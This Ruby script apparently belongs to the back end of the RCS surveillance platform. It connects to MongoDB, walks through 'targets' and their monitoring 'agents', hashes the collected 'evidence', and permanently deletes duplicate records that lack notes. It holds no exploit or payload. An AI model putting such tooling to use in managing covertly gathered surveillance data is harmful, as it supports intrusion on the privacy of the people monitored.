#!/usr/bin/env ruby

require 'optparse'

options = {}

OptionParser.new do |opts|
  opts.on('-h', '--host ADDR', String, 'Address of MongoDB server') { |addr| options[:host] = addr }
end.parse!


# Setup
puts "Initializing..."
$execution_directory  = File.expand_path('../..', __FILE__)
$execution_directory = "c:/rcs/db/" if File.exist?("c:/rcs/db/lib")

$LOAD_PATH << $execution_directory+"/lib"
Dir.chdir($execution_directory)

if File.exists?("#{$execution_directory}/Gemfile")
  require 'bundler'
  Bundler.load
  Bundler.setup
end

require 'rcs-common/path_utils'
require_release 'rcs-db/config'
require_release 'rcs-db/db_layer'

ENV['no_trace']         = '1'
ENV['MONGOID_ENV']      = 'yes'
ENV['MONGOID_DATABASE'] = 'rcs'
ENV['MONGOID_HOST']     =  options[:host] || "127.0.0.1"
ENV['MONGOID_PORT']     = "27017"

Mongoid.load!(RCS::DB::Config.instance.file('mongoid.yaml'), :production)


# main
require 'digest/md5'

def hash_evidence(ev)
  data = ev['data'].reject { |key| key == '_grid' or key == :_grid }
  Digest::MD5.hexdigest(ev['aid'].to_s + ev['da'].to_s + ev['type'].to_s + data.inspect)
end

targets = Item.targets.all
targets_count = targets.count

puts "There are #{targets_count} targets"

begin

  only = ['304:0c61', '309:90ab', '309:9a', '309:96', '003:3046']
  target_whitelist = {}
  agent_whitelist = {}
  type_blacklist = %w[url application]

  Item.agents.each do |a|
    only.each do |string|
      ident, instance = *string.split(':')
      if a.ident =~ /RCS.+#{ident}\z/ and a.instance =~ /\A#{instance}.+/
        target = a.get_parent
        target_whitelist[target.id] = target.name
        agent_whitelist[a.id] = a.name
      end
    end
  end

  targets.each do |target|
    ev_count = ::Evidence.target(target).collection.find.count
    next if ev_count == 0
    next unless target_whitelist.has_key?(target.id)

    puts "Analyzing #{ev_count} evidence of target #{target.name.inspect} (#{target.id})"

    sleep 1

    evidence = {}
    count = 0
    duplicated = 0

    ::Evidence.target(target).collection.find.each do |ev|
      count += 1
      next if ev['aid'].to_s.size == 0
      aid = BSON::ObjectId.from_string(ev['aid'])

      next unless agent_whitelist.has_key?(aid)
      next if type_blacklist.include?(ev['type'].to_s)

      id = ev['_id']
      ev_type = ev['type']
      ev_da = ev['da']

      hash = hash_evidence(ev)

      percentage = (count * 100 / ev_count).round(2)

      if evidence.has_key?(hash)
        duplicated += 1
        counters = "#{count} / #{ev_count} (#{percentage}%) #{duplicated} duplicated"
        puts "\t#{counters} > #{id} #{ev_type.to_s.upcase} evidence aquired at #{Time.at(ev_da).utc} by agent #{agent_whitelist[aid].inspect}, duplicate of ev #{evidence[hash]}"

        ::Evidence.target(target).find(id).destroy if ev['note'].to_s.strip.size == 0
      else
        evidence[hash] = id
      end
    end

    puts if count > 0
  end

rescue Interrupt
  puts
  puts "bye"
end
